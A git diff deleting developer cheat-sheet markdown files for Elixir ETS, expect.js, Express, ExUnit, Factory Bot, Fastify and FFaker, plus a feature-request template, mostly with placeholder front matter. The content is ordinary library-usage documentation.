-category: Elixir
-
-weight: -1
-
----
-
-## ETS
-
-### Usage
-
-```elixir
-iex> table = :ets.new(:my_table, [])
-     8211
-```
-
-```elixir
-iex> :ets.insert(table, {:fruit, "Apple"})
-iex> :ets.lookup(table, :fruit)
-     [{:fruit, "Apple"}]
-```
-
-```elixir
-iex> :ets.delete(table)
-iex> :ets.delete_all_objects(table)
-```
-
-### Flags
-
-```elixir
-iex> table = :ets.new(:my_table, [:set, :protected])
-```
-
-{: .-setup}
-
-| `:set` | no duplicate keys (or: `:ordered_set`, `:bag`, `:duplicate_bag`) |
-| `:protected` | only this process can use it (or: `:public`, `:private`) |
-
-### Ordered sets
-
-```elixir
-:ets.first(table)
-:ets.last(table)
-:ets.next(table, key)
-:ets.prev(table, key)
-```
-
-## References
-
-{: .-one-column}
-
--   <http://erlang.org/doc/man/ets.html>
--   <http://learnyousomeerlang.com/ets>
diff --git a/docs/content/cheat-sheets/expectjs.md b/docs/content/cheat-sheets/expectjs.md
deleted file mode 100644
index 465379c6a7..0000000000
--- a/docs/content/cheat-sheets/expectjs.md
+++ /dev/null
@@ -1,122 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: expect.js
-category: JavaScript libraries
-
-weight: -1
-
----
-
-### Using
-
-```
-npm install --save-dev expect
-```
-
-{: .-setup}
-
-```js
-// using ES6 modules
-import expect, { createSpy, spyOn, isSpy } from 'expect';
-```
-
-```js
-// using CommonJS modules
-var expect = require('expect');
-var createSpy = expect.createSpy;
-var spyOn = expect.spyOn;
-var isSpy = expect.isSpy;
-```
-
-Expect is a library for assertions in tests.
-See: [mjackson/expect](https://github.com/mjackson/expect)
-
-### Assertions
-
-```js
-expect(x)
-    .toBe(y)
-    .toBe(val)
-    .toEqual(val)
-    .toThrow(err)
-    .toExist() // aka: toBeTruthy()
-    .toNotExist() // aka: toBeFalsy()
-    .toBeA(constructor)
-    .toBeA('string')
-    .toMatch(/expr/)
-    .toBeLessThan(n)
-    .toBeGreaterThan(n)
-    .toBeLessThanOrEqualTo(n)
-    .toBeGreaterThanOrEqualTo(n)
-    .toInclude(val) // aka: toContain(val)
-    .toExclude(val)
-    .toIncludeKey(key)
-    .toExcludeKey(key);
-```
-
-Also: `toNotBe`, `toNotEqual`, etc for negatives.
-
-### Chaining assertions
-
-```js
-expect(3.14).toExist().toBeLessThan(4).toBeGreaterThan(3);
-```
-
-Assertions can be chained.
-
-### Spies
-
-```js
-const video = {
-  play: function () { ··· }
-}
-```
-
-{: .-setup}
-
-```js
-spy = expect.spyOn(video, 'play');
-```
-
-```js
-spy = expect.spyOn(···)
-  .andCallThrough()      // pass through
-  .andCall(fn)
-  .andThrow(exception)
-  .andReturn(value)
-```
-
-### Assertions on spies
-
-```js
-expect(spy.calls.length).toEqual(1)
-expect(spy.calls[0].context).toBe(video)
-expect(spy.calls[0].arguments).toEqual([ 'some', 'args' ])
-expect(spy.getLastCall().arguments).toEqual(...)
-```
-
-```js
-expect(spy).toHaveBeenCalled();
-expect(spy).toHaveBeenCalledWith('some', 'args');
-```
-
-### References
-
--   <https://www.npmjs.com/package/expect>
--   <https://github.com/mjackson/expect>
diff --git a/docs/content/cheat-sheets/express.md b/docs/content/cheat-sheets/express.md
deleted file mode 100644
index 01acd2ed39..0000000000
--- a/docs/content/cheat-sheets/express.md
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Express.js
-category: JavaScript libraries
-
----
-
-### Settings
-
-```js
-app.set('x', 'yyy');
-app.get('x'); //=> 'yyy'
-
-app.enable('trust proxy');
-app.disable('trust proxy');
-
-app.enabled('trust proxy'); //=> true
-```
-
-### Env
-
-```js
-app.get('env');
-```
-
-### Config
-
-```js
-app.configure('production', function() {
-  app.set...
-})
-```
-
-### Wares
-
-```js
-app.use(express.static(__dirname + '/public'));
-app.use(express.logger());
-```
-
-### Helpers
-
-```js
-app.locals({
-    title: 'MyApp'
-});
-```
-
-## Request & response
-
-### Request
-
-```js
-// GET  /user/tj
-req.path; //=> "/user/tj"
-req.url; //=> "/user/tj"
-req.xhr; //=> true|false
-req.method; //=> "GET"
-req.params;
-req.params.name; //=> "tj"
-req.params[0];
-```
-
-```js
-// GET /search?q=tobi+ferret
-req.query.q; // => "tobi ferret"
-```
-
-```js
-req.cookies;
-```
-
-```js
-req.accepted;
-// [ { value: 'application/json', quality: 1, type: 'application', subtype: 'json' },
-//   { value: 'text/html', quality: 0.5, type: 'text',subtype: 'html' } ]
-```
-
-```js
-req.is('html');
-req.is('text/html');
-```
-
-```js
-req.headers;
-req.headers['host'];
-req.headers['user-agent'];
-req.headers['accept-encoding'];
-req.headers['accept-language'];
-```
-
-### Response
-
-```js
-res.redirect('/');
-res.redirect(301, '/');
-```
-
-```js
-res.set('Content-Type', 'text/html');
-```
-
-```js
-res.send('hi');
-res.send(200, 'hi');
-```
-
-```js
-res.json({ a: 2 });
-```
diff --git a/docs/content/cheat-sheets/expressjs-cheat-sheet.md b/docs/content/cheat-sheets/expressjs-cheat-sheet.md
deleted file mode 100644
index 4b3e722e16..0000000000
--- a/docs/content/cheat-sheets/expressjs-cheat-sheet.md
+++ /dev/null
@@ -1 +0,0 @@
-# ExpressJS Cheat Sheet
diff --git a/docs/content/cheat-sheets/expressjs.md b/docs/content/cheat-sheets/expressjs.md
deleted file mode 100644
index 3a246a148f..0000000000
--- a/docs/content/cheat-sheets/expressjs.md
+++ /dev/null
@@ -1,341 +0,0 @@
----
-title: ExpressJS Cheat Sheet
-excerpt: >-
-In general, one or more programs that are designed to carry out operations for a specific purpose. In the context of Express, a program that uses the Express API running on the Node.js platform. Might also refer to an app object.
-date: '2022-01-04'
-thumb_img_path: images/jquery-be370939.png
-thumb_img_alt: expressjs
-content_img_path: images/node-express-a1f4367f.png
-content_img_alt: expressjs
-seo:
-  title: ExpressJS Cheat Sheet
-  description: >-
-In general, one or more programs that are designed to carry out operations for a specific purpose. In the context of Express, a program that uses the Express API running on the Node.js platform. Might also refer to an app object.
-  extra:
-    - name: 'og:type'
-      value: article
-      keyName: property
-    - name: 'og:title'
-      value: ExpressJS Cheat Sheet
-      keyName: property
-    - name: 'og:description'
-      value: >-
-        In general, one or more programs that are designed to carry out operations for a specific purpose. In the context of Express, a program that uses the Express API running on the Node.js platform. Might also refer to an app object.
-      keyName: property
-    - name: 'og:image'
-      value: images/5.jpg
-      keyName: property
-      relativeUrl: true
-    - name: 'twitter:card'
-      value: summary_large_image
-    - name: 'twitter:title'
-      value: ExpressJS Cheat Sheet
-    - name: 'twitter:description'
-      value: >-
-        Apparently, Japan is covered in magical and irresistibly cute animal
-        sanctuaries.
-    - name: 'twitter:image'
-      value: images/5.jpg
-      relativeUrl: true
-template: post
-subtitle: >-
-  Express.js, or simply Express, is a back end web application framework for
-  Node.js, released as free and open-source software under the MIT License. It
-  is designed for building web applications and APIs. It has been called the de
-  facto standard server
----
-
-## Background:
-
-# Express glossary
-
-> In general, one or more programs that are designed to carry out operations for a specific purpose. In the context of Express, a program that uses the Express API running on the Node.js platform. Might also refer to an app object.
-
----
-
-### application
-
-In general, one or more programs that are designed to carry out operations for a specific purpose. In the context of Express, a program that uses the Express API running on the Node.js platform. Might also refer to an [app object](https://expressjs.com/en/api.html#express).
-
-### API
-
-Application programming interface. Spell out the abbreviation when it is first used.
-
-### Express
-
-A fast, un-opinionated, minimalist web framework for Node.js applications. In general, "Express" is preferred to "Express.js," though the latter is acceptable.
-
-### libuv
-
-A multi-platform support library which focuses on asynchronous I/O, primarily developed for use by Node.js.
-
-### middleware
-
-A function that is invoked by the Express routing layer before the final request handler, and thus sits in the middle between a raw request and the final intended route. A few fine points of terminology around middleware:
-
--   `var foo = require('middleware')` is called _requiring_ or _using_ a Node.js module. Then the statement `var mw = foo()` typically returns the middleware.
--   `app.use(mw)` is called _adding the middleware to the global processing stack_.
--   `app.get('/foo', mw, function (req, res) { ... })` is called _adding the middleware to the "GET /foo" processing stack_.
-
-### Node.js
-
-A software platform that is used to build scalable network applications. Node.js uses JavaScript as its scripting language, and achieves high throughput via non-blocking I/O and a single-threaded event loop. See [nodejs.org](https://nodejs.org/en/). **Usage note**: Initially, "Node.js," thereafter "Node".
-
-### open-source, open source
-
-When used as an adjective, hyphenate; for example: "This is open-source software." See [Open-source software on Wikipedia](http://en.wikipedia.org/wiki/Open-source_software). Note: Although it is common not to hyphenate this term, we are using the standard English rules for hyphenating a compound adjective.
-
-### request
-
-An HTTP request. A client submits an HTTP request message to a server, which returns a response. The request must use one of several [request methods](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods) such as GET, POST, and so on.
-
-### response
-
-An HTTP response. A server returns an HTTP response message to the client. The response contains completion status information about the request and might also contain requested content in its message body.
-
-### route
-
-Part of a URL that identifies a resource. For example, in `http://foo.com/products/id`, "/products/id" is the route.
-
-# Installing
-
-Assuming you've already installed [Node.js](https://nodejs.org/), create a directory to hold your application, and make that your working directory.
-
-```
-$ mkdir myapp
-$ cd myapp
-
-```
-
-Use the `npm init` command to create a `package.json` file for your application. For more information on how `package.json` works, see [Specifics of npm's package.json handling](https://docs.npmjs.com/files/package.json).
-
-```
-$ npm init
-
-```
-
-This command prompts you for a number of things, such as the name and version of your application. For now, you can simply hit RETURN to accept the defaults for most of them, with the following exception:
-
-```
-entry point: (index.js)
-
-```
-
-Enter `app.js`, or whatever you want the name of the main file to be. If you want it to be `index.js`, hit RETURN to accept the suggested default file name.
-
-Now install Express in the `myapp` directory and save it in the dependencies list. For example:
-
-```
-$ npm install express --save
-
-```
-
-To install Express temporarily and not add it to the dependencies list:
-
-```
-$ npm install express --no-save
-
-```
-
-By default with version npm 5.0+ npm install adds the module to the `dependencies` list in the `package.json` file; with earlier versions of npm, you must specify the `--save` option explicitly. Then, afterwards, running `npm install` in the app directory will automatically install modules in the dependencies list.
-
-# Express Cheatsheet
-
--   [Express glossary](#express-glossary)
-    -   [application](#application)
-    -   [API](#api)
-    -   [Express](#express)
-    -   [libuv](#libuv)
-    -   [middleware](#middleware)
-    -   [Node.js](#nodejs)
-    -   [open-source, open source](#open-source-open-source)
-    -   [request](#request)
-    -   [response](#response)
-    -   [route](#route)
--   [Installing](#installing)
--   [Express Cheatsheet](#express-cheatsheet)
-    -   [Creating an App](#creating-an-app)
-    -   [Listening on a port](#listening-on-a-port)
-        -   [Using a separate server instance](#using-a-separate-server-instance)
-    -   [Middleware](#middleware-1)
-        -   [Standard middleware function signature](#standard-middleware-function-signature)
-        -   [`app.use`](#appuse)
-        -   [Routes - `app.get`, `app.post`, etc](#routes---appget-apppost-etc)
-        -   [Router](#router)
-            -   [Making a new router](#making-a-new-router)
-            -   [Letting app know about the router and it's prefix.](#letting-app-know-about-the-router-and-its-prefix)
-            -   [Defining Routes on the Router](#defining-routes-on-the-router)
-    -   [Error handling](#error-handling)
-    -   [Common Pitfalls](#common-pitfalls)
-        -   [Not sending anything back from a route](#not-sending-anything-back-from-a-route)
-
-## Creating an App
-
-```js
-const express = require('express');
-const app = express();
-```
-
-## Listening on a port
-
-```js
-const PORT = 4000;
-
-app.listen(PORT, () => {
-    console.log(`Listening on ${PORT}`);
-});
-```
-
-### Using a separate server instance
-
-Sometimes you may want to separate the app from the server itself.
-
-This makes testing easier, and is a good separation of concerns.
-
-```js
-// In server.js
-const http = require('http'); // This is node's built-in http module
-const app = require('./app'); // Assuming we create our app in app.js
-
-const server = http.createServer(app); // We can pass the app to createServer
-
-server.listen(PORT, () => {
-    console.log(`Listening on ${PORT`}`);
-});
-```
-
-## Middleware
-
-Every callback we define in express is middleware.
-
-### Standard middleware function signature
-
-```js
-(req, res, next) => {};
-```
-
--   `req` - The Request object that represents the incoming Request to the server
--   `res` - The Response object that represents the outgoing response to the browser
--   `next` - A function that will move to the next middleware function in the chain
-
-### `app.use`
-
-`app.use` is how you register a middleware function with express. Functions are added
-to the express app in the order the `app.use()` functions are invoked. The callback
-(middleware) functions aren't called until a new request comes in to the server.
-
-```js
-app.use((req, res, next) => {
-    // this runs when a request comes in.
-});
-```
-
-`app.use` can accept a list of middleware functions OR an array of them.
-
-```js
-// Two arrow functions.
-app.use(
-    (req, res, next) => {},
-    (req, res, next) => {}
-);
-
-// Two named functions.
-app.use(middleware1, middleware2);
-
-// An array of middleware functions
-app.use([middleware1, middleware2]);
-
-// Or any combination. It's flexible!
-app.use([middleware1, middleware2], middleware3, (req, res, next) => {});
-```
-
-The important thing is, you are just giving express function _references_, the
-functions do not get called _until a request is made to the server_.
-
-### Routes - `app.get`, `app.post`, etc
-
-Express routes are similar to app.use, but are _conditional_ middleware.
-
-They depend on the HTTP Method and the Path matching in order to run.
-
-The first argument to these routes is the path to match.
-
-```js
-app.get('/', (req, res, next) => {
-    // Runs only for a GET request to /
-});
-
-app.post('/users', (req, res, next) => {
-    // Runs only for a POST request to /users
-});
-```
-
-### Router
-
-As a way of organizing your router, express includes a router object.
-
-#### Making a new router
-
-```jsx
-const express = require('express');
-const userRouter = express.Router();
-```
-
-#### Letting app know about the router and it's prefix.
-
-We can use `app.use` to tell express about the router and what _prefix_
-all of it's routes will be under.
-
-```js
-const app = express();
-const userRouter = express.Router();
-
-// every route we create on userRouter will have the prefix `/users`
-app.use('/users', userRouter);
-```
-
-#### Defining Routes on the Router
-
-Routers contain the same `.use()` `.get()` and `.post()` methods that `app` does.
-However, the path matching matches everything _after_ the router's prefix.
-
-```js
-// Passing a middleware to the router
-userRouter.use(middleware);
-
-userRouter.get('/profile', (req, res, next) => {
-    // Runs when the router path matches /profile
-    // excluding the prefix
-    // Example: If the userRouter's prefix was /users
-    // then the full path that matches is /users/profile
-});
-```
-
-## Error handling
-
-Error handling middleware is just like regular middleware but has _four_ parameters
-to the callback function.
-
-Make sure you log your errors to the console, otherwise if you have a bug in your
-express app, it might be completely hidden from you.
-
-```js
-app.use((err, req, res, next) => {
-    // The first argument will be an error.
-    console.error(err); // This is a good idea
-});
-```
-
-## Common Pitfalls
-
-### Not sending anything back from a route
-
-This will cause express to hang forever. Your browser will never get a response.
-
-```js
-app.get('/', (req, res, next) => {
-    // if I don't res.send or res.json
-    // And I don't call next()
-    // This will cause express to hang.
-});
-```
diff --git a/docs/content/cheat-sheets/exunit.md b/docs/content/cheat-sheets/exunit.md
deleted file mode 100644
index d07eea08b8..0000000000
--- a/docs/content/cheat-sheets/exunit.md
+++ /dev/null
@@ -1,122 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: ExUnit
-category: Elixir
-
----
-
-### Test cases
-
-```elixir
-defmodule MyTest do
-  use ExUnit.Case
-  use ExUnit.Case, async: true  # for async
-
-  test "the truth" do
-    assert 1 + 1 == 2
-  end
-end
-```
-
-### Capture IO
-
-```elixir
-import ExUnit.CaptureIO
-
-test "capture io" do
-  result = capture_io(fn ->
-    IO.puts "sup"
-  end)
-
-  assert result == "sup\n"
-end
-```
-
-### Capture logs
-
-```elixir
-config :ex_unit, capture_logs: true
-```
-
-### Async
-
-```elixir
-defmodule AssertionTest do
-  # run concurrently with other test cases
-  use ExUnit.Case, async: true
-end
-```
-
-### Assertions
-
-```elixir
-assert x == y
-refute x == y
-
-assert_raise ArithmeticError, fn ->
-  1 + "test"
-end
-
-assert_raise ArithmeticError, "message", fn -> ...
-assert_raise ArithmeticError, ~r/message/, fn -> ...
-
-flunk "This should've been an error"
-```
-
-See: [Assertions](http://devdocs.io/elixir/ex_unit/exunit.assertions)
-
-## Setup
-
-### Pattern matching
-
-```elixir
-setup do
-  {:ok, name: "John"}
-end
-```
-
-```elixir
-test "it works", %{name: name} do
-  assert name == "John"
-end
-```
-
-### Setup
-
-```elixir
-defp my_hook(_context) do
-  # Invoked in every block in "a block"
-  {:ok, name: "John", age: 54}
-end
-
-describe "a block" do
-  setup [:my_hook]
-
-  test "John's age", context do
-    assert context[:name] == "John"
-    assert context[:age] == 54
-  end
-end
-```
-
-## Also see
-
-{: .-one-column}
-
--   [ExUnit Docs](http://devdocs.io/elixir/ex_unit/exunit#configure/1)
diff --git a/docs/content/cheat-sheets/factory_bot.md b/docs/content/cheat-sheets/factory_bot.md
deleted file mode 100644
index 90e12d7218..0000000000
--- a/docs/content/cheat-sheets/factory_bot.md
+++ /dev/null
@@ -1,246 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Factory Bot
-category: Ruby libraries
-
-weight: -3
-keywords:
-
--   "FactoryBot.define do"
--   "factory :user"
--   "first_name 'John'"
--   'sequence(:username) { |n| "user#{n}" }'
-    tags: [Featurable]
-
----
-
-## Factories
-
-### Introduction
-
-{: .-intro}
-
-[Factory Bot](http://www.rubydoc.info/gems/factory_bot/) is a helper for writing factories for Ruby tests. It was previously known as Factory Girl. For older versions, use `FactoryGirl` instead of `FactoryBot`.
-
--   [Factory Bot documentation](http://www.rubydoc.info/gems/factory_bot/) _(rubydoc.info)_
--   [Getting started](https://github.com/thoughtbot/factory_bot/blob/master/GETTING_STARTED.md) _(github.com)_
--   [Source code](https://github.com/thoughtbot/factory_bot) _(github.com)_
-
-### Defining factories
-
-```ruby
-FactoryBot.define do
-  factory :user do
-    first_name { 'John' }
-    last_name  { 'Doe' }
-    birthdate  { 21.years.ago }
-    admin { false }
-
-    sequence(:username) { |n| "user#{n}" }
-  end
-end
-```
-
-{: data-line="2"}
-
-See: [Defining factories](http://www.rubydoc.info/gems/factory_bot/file/GETTING_STARTED.md#Defining_factories)
-
-### Extra options
-
-#### Custom class names
-
-```ruby
-factory :user, class: 'User' do
-  ···
-end
-```
-
-#### Aliases
-
-```ruby
-factory :user, aliases: [:author] do
-  ···
-end
-```
-
-### Using
-
-#### Build a model
-
-```ruby
-FactoryBot.build(:user)
-```
-
-#### Other ways
-
-```ruby
-build(:user)           # → model (not saved)
-create(:user)          # → model (saved)
-attributes_for(:user)  # → hash
-build_stubbed(:user)   # stubbed out attributes
-```
-
-#### With options
-
-```ruby
-build(:user, name: 'John')
-```
-
-#### Lists
-
-```ruby
-create_list(:user, 3)
-build_list(:user, 3)
-```
-
-## Associations
-
-### Defining
-
-```ruby
-factory :post do
-  association :author, factory: :user
-  association :author, factory: [:user, :admin]
-end
-```
-
-{: data-line="2,3"}
-
-#### or
-
-```ruby
-factory :post do
-  author  # assumes there's a factory :author
-end
-```
-
-### After-create hooks
-
-```ruby
-factory :post do
-  after :create do |post|
-    create :theme, post: post             # has_one
-    create_list :comment, 3, post: post   # has_many
-  end
-end
-```
-
-{: data-line="2"}
-
-## Other features
-
-### Traits
-
-```ruby
-factory :user do
-  trait :admin do
-    admin { true }
-  end
-end
-```
-
-{: data-line="2,3,4"}
-
-```ruby
-create :user, :admin
-```
-
-Traits allow you to group attributes together.
-See: [Traits](http://www.rubydoc.info/gems/factory_bot/file/GETTING_STARTED.md#Traits)
-
-### Nested factories
-
-```ruby
-factory :user do
-  first_name { 'John' }
-
-  factory :sample_user do
-    first_name { FFaker::Name.first_name }
-  end
-end
-```
-
-{: data-line="4,5,6"}
-
-```ruby
-create :sample_user
-```
-
-See: [Inheritance](http://www.rubydoc.info/gems/factory_bot/file/GETTING_STARTED.md#Inheritance)
-
-### Sub-factories
-
-```ruby
-factory :user do
-  ···
-end
-```
-
-```ruby
-factory :sample_user, parent: :user do
-  first_name { FFaker::Name.first_name }
-end
-```
-
-{: data-line="1"}
-
-```ruby
-create :sample_user
-```
-
-Works the same as nested factories.
-
-### Options (transients)
-
-```ruby
-factory :user do
-  transient do
-    upcased { true }
-  end
-
-  after :create do |user, options|
-    user.name.upcase! if options.upcased
-  end
-end
-```
-
-{: data-line="2,3,4"}
-
-```ruby
-create(user, upcased: true)
-```
-
-Transient attributes will not get passed to the model, but will be available in after-create hooks.
-See: [Transient attributes](http://www.rubydoc.info/gems/factory_bot/file/GETTING_STARTED.md#Transient_Attributes)
-
-### Paths
-
--   test/factories.rb
--   spec/factories.rb
--   test/factories/\*.rb
--   spec/factories/\*.rb
-
-Place your factories in these locations.
-{: .-setup}
-
-## See also
-
-{: .-one-column}
-
--   <http://rubydoc.info/gems/factory_bot/file/GETTING_STARTED.md>
diff --git a/docs/content/cheat-sheets/fastify.md b/docs/content/cheat-sheets/fastify.md
deleted file mode 100644
index b9f78f6534..0000000000
--- a/docs/content/cheat-sheets/fastify.md
+++ /dev/null
@@ -1,330 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Fastify
-category: JavaScript libraries
-
----
-
-## Getting started
-
-### Introduction
-
-{: .-intro}
-
-[Fastify](https://github.com/fastify/fastify) lets you create HTTP servers in Node.js with good performance. This guide targets fastify v0.28.x.
-
--   [Fastify source code](https://github.com/fastify/fastify) _(github.com)_
--   [Documentation](https://github.com/fastify/fastify#documentation) _(github.com)_
-
-### Hello world
-
-```js
-const fastify = require('fastify')();
-
-fastify.get('/', (req, reply) => {
-    reply.send({ hello: 'world' });
-});
-
-fastify.listen(3000, (err) => {
-    if (err) throw err;
-    const port = fastify.server.address().port;
-    console.log(`server listening on ${port}`);
-});
-```
-
-### Plugins
-
-#### app.js
-
-```js
-fastify.register(require('./route'));
-```
-
-#### route.js
-
----
-
-```js
-
-
-function (fastify, opts, next) {
-  fastify.get('/', (req, reply) => {
-    reply.send({ hello: 'world' })
-  })
-
-  next()
-})
-```
-
-Compose your app functionality into plugins. Plugins are simply functions.
-
-See: [Plugins](https://github.com/fastify/fastify/blob/master/docs/Plugins.md)
-
-## Routes
-
-### Writing routes
-
-```js
-fastify.route({
-  method: 'GET',
-  url: '/',
-  schema: { ··· },
-  handler: (req, reply) => { ··· }
-  beforeHandler: (req, reply, done) => { ··· }
-})
-```
-
-### Shorthand declarations
-
-```js
-fastify.get(path, [options], handler)
-fastify.head(···)
-fastify.post(···)
-fastify.put(···)
-fastify.delete(···)
-fastify.options(···)
-fastify.patch(···)
-```
-
-### Async/await
-
-```js
-fastify.get('/', options, async (req, reply) => {
-    return data;
-    // or
-    reply.send(data);
-});
-```
-
-When using async functions, you can either `return` data or use `reply.send`.
-
-## Request/reply
-
-### Request
-
-```js
-request.query;
-request.body;
-request.params;
-request.headers;
-request.req; // Node.js core
-request.log.info('hello');
-```
-
-See: [Request](https://github.com/fastify/fastify/blob/master/docs/Request.md)
-
-### Reply
-
-#### Response headers
-
-```js
-reply.code(404);
-reply.header('Content-Type', 'text/html');
-reply.type('text/html');
-```
-
-#### Redirects
-
-```js
-reply.redirect('/foo');
-reply.redirect(302, '/foo');
-```
-
-#### Sending
-
-```js
-reply.send(payload);
-reply.sent; // → true|false
-```
-
-See: [Reply](https://github.com/fastify/fastify/blob/master/docs/Reply.md)
-
-### JSON schema
-
-#### Define a JSON schema
-
-```js
-const schema = {
-    querystring: {
-        name: { type: 'string' },
-        excitement: { type: 'integer' }
-    },
-    response: {
-        200: {
-            type: 'object',
-            properties: {
-                hello: { type: 'string' }
-            }
-        }
-    }
-};
-```
-
-#### Pass it to the route
-
-```js
-fastify.get('/', { schema }, (req, reply) => {
-  ···
-})
-```
-
-{: data-line="1"}
-
-#### or (same as above)
-
-```js
-fastify.route({
-  method: 'GET',
-  url: '/',
-  schema,
-  handler: (req, reply) => { ··· }
-})
-```
-
-{: data-line="4"}
-
-By defining a JSON schema, you get validation and improved performance.
-
-See: [Validation and serialization](https://github.com/fastify/fastify/blob/master/docs/Validation-And-Serialization.md)
-
-## Plugins
-
-### With function
-
-```js
-fastify.register(require('./route'), (err) => {
-    if (err) throw err;
-});
-```
-
-#### route.js
-
-```js
-module.exports = (fastify, options, next) => {
-  fastify.get('/', ···)
-  next()
-}
-```
-
-See: [Register](https://github.com/fastify/fastify/blob/master/docs/Getting-Started.md#register)
-
-### Multiple
-
-```js
-fastify.register([require('./another-route'), require('./yet-another-route')], opts, (err) => {
-    if (err) throw err;
-});
-```
-
-You can pass arrays to `register()`.
-
-### Register with prefix
-
-```js
-fastify.register(require('./route'), { prefix: '/v1' });
-```
-
-This prefixes all routes in that module.
-
-### Helmet
-
-```js
-const helmet = require('fastify-helmet');
-
-fastify.register(helmet);
-```
-
-See: [fastify-helmet](https://github.com/fastify/fastify-helmet)
-
-### fastify-plugin
-
-```js
-const fp = require('fastify-plugin');
-
-module.exports = fp((fastify, opts, next) => {
-    // your plugin code
-    fastify.decorate('utility', () => {});
-
-    next();
-}, '0.x');
-```
-
-Allows you to limit Fastify versions via semver, and allows you not make a new Fastify scope.
-
-See: [fastify-plugin](https://github.com/fastify/fastify-plugin)
-
-### Decorators
-
-## Middleware
-
-### Middleware
-
-```js
-fastify.use(require('cors')());
-fastify.use(require('dns-prefetch-control')());
-fastify.use(require('frameguard')());
-fastify.use(require('hide-powered-by')());
-fastify.use(require('hsts')());
-fastify.use(require('ienoopen')());
-fastify.use(require('x-xss-protection')());
-```
-
-Compatible with Express and Restify middlewares. (Don't use these middleware, these are covered by [fastify-helmet](https://github.com/fastify/fastify-helmet).)
-
-See: [Middlewares](https://github.com/fastify/fastify/blob/master/docs/Middlewares.md)
-
-## Template rendering
-
-### point-of-view
-
-```js
-const fastify = require('fastify')();
-
-fastify.register(require('point-of-view'), {
-    engine: {
-        ejs: require('ejs')
-    }
-});
-```
-
-```js
-fastify.get('/', (req, reply) => {
-    reply.view('/templates/index.ejs', { text: 'text' });
-});
-```
-
-{: data-line="2"}
-
-Support `ejs`, `pug`, `handlebars` and `marko`.
-
-See: [point-of-view](https://github.com/fastify/point-of-view)
-
-### Options
-
-```js
-fastify.register(require('point-of-view'), {
-    engine: {
-        ejs: require('ejs')
-    },
-    templates: '/templates',
-    options: {}
-});
-```
-
-`templates` lets you update the templates folder. `options` are options passed onto the template engines.
diff --git a/docs/content/cheat-sheets/feature_request.md b/docs/content/cheat-sheets/feature_request.md
deleted file mode 100644
index 2f28cead03..0000000000
--- a/docs/content/cheat-sheets/feature_request.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-name: Feature request
-about: Suggest an idea for this project
-title: ''
-labels: ''
-assignees: ''
----
-
-**Is your feature request related to a problem? Please describe.**
-A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
-
-**Describe the solution you'd like**
-A clear and concise description of what you want to happen.
-
-**Describe alternatives you've considered**
-A clear and concise description of any alternative solutions or features you've considered.
-
-**Additional context**
-Add any other context or screenshots about the feature request here.
diff --git a/docs/content/cheat-sheets/ffaker.md b/docs/content/cheat-sheets/ffaker.md
deleted file mode 100644
index 570f15f167..0000000000
--- a/docs/content/cheat-sheets/ffaker.md
+++ /dev/null
@@ -1,615 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: FFaker
-category: Ruby libraries
-
----
-
-## FFaker
-
-{: .-one-column}
-
-### Installing
-
-```ruby
-# gem install ffaker
-require 'ffaker'
-```
-
-## Faker::Address
-
-{: .-one-column}
-
-```ruby
-Faker::Address.city                     #=> "Autumnside"
-                                        #=> "South Brielleberg"
-                                        #=> "West Alvera"
-```
-
-```ruby
-Faker::Address.street_name              #=> "Greyson Rapid"
-                                        #=> "Hoppe Grove"
-                                        #=> "Reichert Lights"
-```
-
-```ruby
-Faker::Address.street_address           #=> "98786 Neal Motorway"
-                                        #=> "6619 Yvonne Dale"
-                                        #=> "6143 Bailey Plaza"
-```
-
-```ruby
-Faker::Address.secondary_address        #=> "Suite 560"
-                                        #=> "Apt. 332"
-                                        #=> "Apt. 411"
-```
-
-## Faker::Company
-
-{: .-one-column}
-
-```ruby
-Faker::Company.name                     #=> "Pouros-Ondricka"
-                                        #=> "Ward Group"
-                                        #=> "Walter-Romaguera"
-```
-
-```ruby
-Faker::Company.suffix                   #=> "and Sons"
-                                        #=> "LLC"
-                                        #=> "and Sons"
-```
-
-```ruby
-Faker::Company.catch_phrase             #=> "Versatile mobile help-desk"
-                                        #=> "Extended fresh-thinking utilisation"
-                                        #=> "Reactive coherent flexibility"
-```
-
-```ruby
-Faker::Company.bs                       #=> "extend one-to-one convergence"
-                                        #=> "architect 24/7 interfaces"
-                                        #=> "revolutionize viral vortals"
-```
-
-```ruby
-Faker::Company.position                 #=> "General Corporate President"
-                                        #=> "Executive Department Consultant"
-                                        #=> "Associate Director"
-```
-
-## Faker::Education
-
-{: .-one-column}
-
-```ruby
-Faker::Education.school                 #=> "Larkwood Institution"
-                                        #=> "Whiteshire School"
